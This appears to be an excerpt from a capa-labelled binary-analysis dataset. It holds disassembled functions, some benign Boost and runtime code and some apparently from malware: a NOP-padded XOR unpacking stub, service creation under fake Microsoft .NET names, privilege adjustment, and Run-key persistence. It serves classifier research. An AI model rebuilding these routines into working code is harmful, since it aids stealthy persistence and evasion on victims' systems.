joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001ae80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100216e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 0x28
push str.Day_of_month_value_is_out_of_range_1..31
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
call fcn.10006b40
cmp dword [esp + 0x20], 0x10
lea eax, [esp + 0xc]
mov ecx, esi
mov dword [esp + 0x30], 0
cmovae eax, dword [esp + 0xc]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
call fcn.1000d539
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::out_of_range.0
jb 0x1001af15
push dword [esp + 0xc]
call fcn.1000d666
add esp, 4
mov eax, esi
mov dword [esi], vtable.boost::gregorian::bad_day_of_month.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1000d449
add esp, 0x2c
ret

Function at 0x1001af60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100216e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 0x22
push str.Month_number_is_out_of_range_1..12
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
call fcn.10006b40
cmp dword [esp + 0x20], 0x10
lea eax, [esp + 0xc]
mov ecx, esi
mov dword [esp + 0x30], 0
cmovae eax, dword [esp + 0xc]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
call fcn.1000d539
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::out_of_range.0
jb 0x1001aff5
push dword [esp + 0xc]
call fcn.1000d666
add esp, 4
mov eax, esi
mov dword [esi], vtable.boost::gregorian::bad_month.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1000d449
add esp, 0x2c
ret

Function at 0x1001b040
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100216e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 0x27
push str.Year_is_out_of_valid_range:_1400..10000
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
call fcn.10006b40
cmp dword [esp + 0x20], 0x10
lea eax, [esp + 0xc]
mov ecx, esi
mov dword [esp + 0x30], 0
cmovae eax, dword [esp + 0xc]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
call fcn.1000d539
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::out_of_range.0
jb 0x1001b0d5
push dword [esp + 0xc]
call fcn.1000d666
add esp, 4
mov eax, esi
mov dword [esi], vtable.boost::gregorian::bad_year.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1000d449
add esp, 0x2c
ret
Function at 0x1001dc40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10021a68
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov eax, dword [0x100311c8]
cmp eax, 0xffffffff
jne 0x1001dc75
xor ebx, ebx
jmp 0x1001dc7e
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [esp + 0x14], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esp + 0x24], 0
test ebx, ebx
je 0x1001dcc5
cmp dword [ebx + 0x18], 0
mov esi, dword [ebx + 0xc]
jne 0x1001dd05
test esi, esi
jne 0x1001dd10
push 0x1001c250
push 0x100335b4
call fcn.1001bd10
mov eax, dword [0x100311c8]
add esp, 8
cmp eax, 0xffffffff
je 0x1001dcc5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [esp + 0x24], 0xffffffff
test ebx, ebx
je 0x1001dcf1
lea eax, [ebx + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1001dcf1
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
test esi, esi
je 0x1001dd4a
lea esp, [esp]
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1001dd37
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call ebp
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x1001dd10
cmp dword [ebx + 0x18], 0
je 0x1001dc94
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x1001dd6d
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x1001dd6d
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [ebx + 0x14]
call fcn.100070d0
cmp dword [ebx + 0x18], 0
jne 0x1001dd54
jmp 0x1001dc94
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x333c76da
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x225a33f6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401350
Capabilities:
Access peb ldr_data
Get token privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43ceda
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
push eax
push 0x28
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401432
lea ecx, [esp + 0x14]
push ecx
call fcn.00419180
mov dword [esp + 0x38], 0
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
sub edx, esi
jne 0x4013c5
call fcn.0042a143
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
sub eax, esi
push eax
push esi
push 3
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x401415
xor eax, eax
cmp dword [esi], eax
jbe 0x4013fe
lea ecx, [esi + 0xc]
mov dword [ecx], 2
inc eax
add ecx, 0xc
cmp eax, dword [esi]
jb 0x4013f0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0
push 0
push eax
push esi
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x38], 0xffffffff
lea eax, [esp + 0x14]
push eax
call fcn.0041cf70
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405e90
Capabilities:
Create service
Modify service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test eax, eax
je 0x405eea
mov ecx, dword [esp + 8]
push 0
push 0
push 0x449bfc
push 0
push str.UIGroup
push ecx
push 1
push 3
push 0x10
push 0xf01ff
push str.asrrealtimesrv
push str.asrrealtimesrv
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
lea edx, [esp]
push edx
push 7
push eax
mov dword [esp + 0xc], 0x493e0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
pop ecx
ret
Function at 0x406af0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x43c971
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov esi, dword [esp + 0x3c]
xor ebx, ebx
mov dword [esp + 0xc], ebx
xor eax, eax
push 0xffffffffffffffff
mov word [esp + 0x18], ax
mov eax, dword [esp + 0x44]
push ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x30], 7
mov dword [esp + 0x2c], ebx
call fcn.0040b890
mov dword [esp + 0x34], 1
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x406b50
sub eax, edx
sar eax, 1
push eax
mov eax, edi
lea ecx, [esp + 0x14]
call fcn.00401bd0
xor ecx, ecx
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], ebx
push 0xffffffffffffffff
mov word [esi + 4], cx
push ebx
mov ecx, esi
call fcn.0040b890
mov dword [esp + 0xc], 1
mov byte [esp + 0x34], bl
cmp dword [esp + 0x28], 8
jb 0x406ba5
mov edx, dword [esp + 0x14]
push edx
call fcn.0040ee99
add esp, 4
xor eax, eax
mov word [esp + 0x14], ax
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], ebx
mov eax, esi
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x2c
ret
Function at 0x406bd0
Capabilities:
Check for time delay via gettickcount
Delete service
Query service status
Stop service

Disassembly:
push 0xffffffffffffffff
push 0x43c408
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x44]
mov dword fs:[0], eax
mov dword [esp + 0x4c], 0
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
push 0xf003f
push 0
push 0
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x406d15
mov eax, dword [esp + 0x54]
push 0x2c
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x406d15
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea ecx, [esp + 0x14]
push ecx
push 0x24
lea edx, [esp + 0x28]
push edx
push 0
push esi
call edi
test eax, eax
je 0x406d02
mov eax, dword [esp + 0x24]
cmp eax, 1
je 0x406d15
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 3
jne 0x406cae
mov eax, dword [esp + 0x38]
push eax
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0x24
lea edx, [esp + 0x28]
push edx
push 0
push esi
call edi
test eax, eax
je 0x406cfe
cmp dword [esp + 0x24], 1
je 0x406cfe
call ebp
sub eax, dword [esp + 0x18]
cmp eax, 0x2bf20
ja 0x406cfe
cmp dword [esp + 0x24], 3
je 0x406c77
lea eax, [esp + 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x406cfe
cmp dword [esp + 0x24], 1
je 0x406cfe
push 0x3e8
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0x24
lea edx, [esp + 0x28]
push edx
push 0
push esi
call edi
test eax, eax
je 0x406cfe
cmp dword [esp + 0x24], 1
je 0x406cfe
call ebp
sub eax, dword [esp + 0x18]
cmp eax, 0x2bf20
ja 0x406cfe
cmp dword [esp + 0x24], 1
jne 0x406cc7
mov ebx, dword [esp + 0x1c]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov dword [esp + 0x4c], 0xffffffff
lea ecx, [esp + 0x54]
call fcn.0041d7d0
mov ecx, dword [esp + 0x44]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x4074f0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43e420
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x455d50]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x228]
mov dword fs:[0], eax
xor eax, eax
mov dword [esp + 0x230], eax
mov edi, ecx
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x230], 1
push 0x206
push eax
lea edx, [esp + 0x26]
xor ecx, ecx
push edx
mov word [esp + 0x28], cx
call fcn.0042ab60
add esp, 0xc
push 0x104
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edi
lea ecx, [esp + 0x20]
call fcn.0041f290
lea ecx, [esp + 0xc]
push edi
push ecx
mov ebx, 0x448b5c
mov dword [esp + 0x18], 1
call fcn.0040dbe0
mov byte [esp + 0x238], 2
lea edx, [esp + 0x240]
push edx
lea ecx, [esp + 0x20]
push ecx
mov ebx, eax
call fcn.00419320
add esp, 0x10
mov byte [esp + 0x230], 3
call fcn.00411dc0
mov byte [esp + 0x230], 2
lea ecx, [esp + 0x14]
call fcn.0041d7d0
mov byte [esp + 0x230], 1
lea ecx, [esp + 0xc]
call fcn.0041d7d0
mov byte [esp + 0x230], 0
lea ecx, [esp + 0x238]
call fcn.0041d7d0
mov eax, edi
mov ecx, dword [esp + 0x228]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.00422c3d
add esp, 0x228
ret

Function at 0x408e70
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43e5aa
mov eax, dword fs:[0]
push eax
sub esp, 0x80c
mov eax, dword [0x455d50]
xor eax, esp
mov dword [esp + 0x808], eax
push ebp
push esi
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x81c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x82c]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0
mov esi, 1
mov dword [esp + 0x824], esi
lea eax, [esp + 0x18]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0x830]
cmp dword [eax - 4], esi
jle 0x408efd
mov ecx, dword [eax - 0xc]
push ecx
lea edx, [esp + 0x834]
push edx
call fcn.0040b5e0
mov eax, dword [esp + 0x830]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x408f00
lea edi, [esp + 0x18]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x408f14
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
lea ecx, [esp + 0x1c]
call fcn.0041f290
mov dword [esp + 0x10], 1
mov byte [esp + 0x824], 0
lea ecx, [esp + 0x830]
call fcn.0041d7d0
mov eax, ebp
mov ecx, dword [esp + 0x81c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x808]
xor ecx, esp
call fcn.00422c3d
add esp, 0x818
ret
Function at 0x4096b0
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43ecb9
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
mov dword [esp + 0x14], ebx
test esi, esi
jne 0x409703
lea eax, [esp + 0x18]
push eax
call fcn.0040dd20
add esp, 4
mov dword [esp + 0x30], ebx
mov ebx, 1
mov dword [esp + 0x14], ebx
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
call fcn.0041f290
mov dword [esp + 0x30], 2
test bl, 1
je 0x40972a
and ebx, 0xfffffffe
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], ebx
call fcn.0041d7d0
mov eax, dword [ebp + 8]
test al, al
je 0x4097d6
mov ecx, dword [esp + 0x10]
push ecx
push eax
call fcn.0040daa0
add esp, 8
test al, al
jne 0x4097e1
lea edx, [esp + 0x20]
push edx
mov ecx, 0x44944c
call fcn.0041f290
mov byte [esp + 0x30], 3
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x20]
push edx
mov ebx, eax
call fcn.00419320
mov byte [esp + 0x38], 4
push eax
lea eax, [esp + 0x24]
push eax
mov ebx, str.___minimize
call fcn.0040dbe0
add esp, 0x10
mov byte [esp + 0x30], 6
lea ecx, [esp + 0x1c]
call fcn.0041d7d0
mov byte [esp + 0x30], 7
lea ecx, [esp + 0x20]
call fcn.0041d7d0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax - 0xc]
add ecx, ecx
push ecx
push eax
push 1
push 0x448bc4
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov byte [esp + 0x30], 2
lea ecx, [esp + 0x18]
call fcn.0041d7d0
jmp 0x409809
push esi
push 0
call fcn.0040daa0
add esp, 8
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
push 0x448bc4
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call esi
push 0x448bc4
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call esi
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.0041d7d0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409ac0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push 0xffffffffffffffff
push 0x43be49
mov eax, dword fs:[0]
push eax
push ecx
push ebp
push esi
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [esp + 0x24]
xor ebp, ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x10], ebp
call fcn.00412370
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x10], 1
mov eax, esi
cmp dword [ebx + 4], ebp
je 0x409bbe
call fcn.00405450
test al, al
je 0x409bbc
mov eax, dword [esi]
mov ecx, dword [esp + 0x28]
mov edx, dword [eax]
push edi
push ecx
push edx
call fcn.0042ad70
mov eax, dword [esi]
mov edx, dword [ebx + 4]
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], edi
mov eax, dword [eax]
push eax
push ebp
push 1
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
push edx
call ebp
test eax, eax
je 0x409b5f
mov edi, dword [esp + 0x28]
mov eax, esi
call fcn.00405450
jmp 0x409bbc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x409b9e
mov edi, dword [esp + 0x28]
mov eax, esi
call fcn.00405450
test al, al
je 0x409b9e
mov eax, dword [esi]
mov eax, dword [eax]
mov edx, dword [ebx + 4]
lea ecx, [esp + 0x28]
push ecx
push eax
push 0
push 1
push 0
push edx
call ebp
test eax, eax
jne 0x409bbc
mov eax, esi
call fcn.00416470
jmp 0x409bbc
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x409bbc
mov eax, dword [edi]
push 0
push eax
call fcn.00429c4f
add esp, 8
mov dword [edi], eax
mov dword [edi + 4], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x10
ret 8

Function at 0x40b660
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x43e978
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov edi, dword [esp + 0x20]
push edi
call fcn.004163f0
mov dword [esp + 0x18], 0
lea eax, [esp + 0xc]
push eax
call fcn.00423fc0
add esp, 4
mov byte [esp + 0x18], 1
call fcn.00411dc0
mov byte [esp + 0x18], 0
lea ecx, [esp + 0xc]
call fcn.0041d7d0
mov eax, dword [edi]
push eax
xor bl, bl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b6cb
mov bl, 1
mov eax, dword [edi]
push 0
push 0
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40b6ef
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x40b727
mov ecx, dword [edi]
call fcn.004187f0
push 0
call fcn.00429ae5
add esp, 4
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push ecx
mov ecx, 0x44a148
call fcn.0041f290
mov byte [esp + 0x20], 2
push edi
mov byte [esp + 0x24], 0
call fcn.00404980
mov dword [esp + 0x18], 0xffffffff
mov eax, edi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x10
ret 4
Function at 0x40c500
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x43d418
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push ebp
push esi
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov esi, ecx
call fcn.00406e19
mov ebx, dword [eax + 0xc]
mov ebp, dword [sym.imp.USER32.dll_LoadImageW]
push 0
push 0
push 0
push 0
push 0xbb8
push ebx
call ebp
push 0
push 0
push 0
push 0
push 0x81
push ebx
mov edi, eax
call ebp
xor ebp, ebp
mov ebx, eax
mov dword [esp + 0x18], vtable.CGdiObject.0
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x50], ebp
mov dword [esp + 0x18], vtable.CBitmap.0
mov dword [esp + 0x50], 1
push edi
lea ecx, [esp + 0x1c]
call fcn.004080e6
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x30]
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [esi + 0x20]
lea edx, [esp + 0x20]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x28]
sub edx, dword [esp + 0x20]
push 0x202
push ecx
push edx
push ebp
push ebp
push ebp
mov ecx, esi
call fcn.0041c926
lea ecx, [esp + 0x18]
call fcn.00416e88
push ebx
call fcn.0040c980
mov esi, eax
or eax, 0xffffffff
mov dword [esp + 0x50], eax
mov dword [esp + 0x18], vtable.CBitmap.0
mov dword [esp + 0x50], eax
lea ecx, [esp + 0x18]
call fcn.0040b1f0
mov eax, esi
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret

Function at 0x40cd80
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x43bbf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
xor ebx, ebx
mov byte [esp + 0xf], bl
mov dword [esp + 0x10], ebx
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x40cdc8
push eax
call edi
mov dword [esp + 0x10], ebx
push ebx
lea eax, [esp + 0x14]
push eax
push ebx
push 2
push ebx
push ebx
push ebx
push 0x44a178
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x40ce2b
mov eax, esi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40cdf0
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea ecx, [eax + eax]
push ecx
push esi
push 1
push 0x44a338
push ebx
push edx
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
cmp eax, ebx
jne 0x40ce2b
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov byte [esp + 0xf], 1
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x40ce3e
push eax
call edi
mov al, byte [esp + 0xf]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x14
ret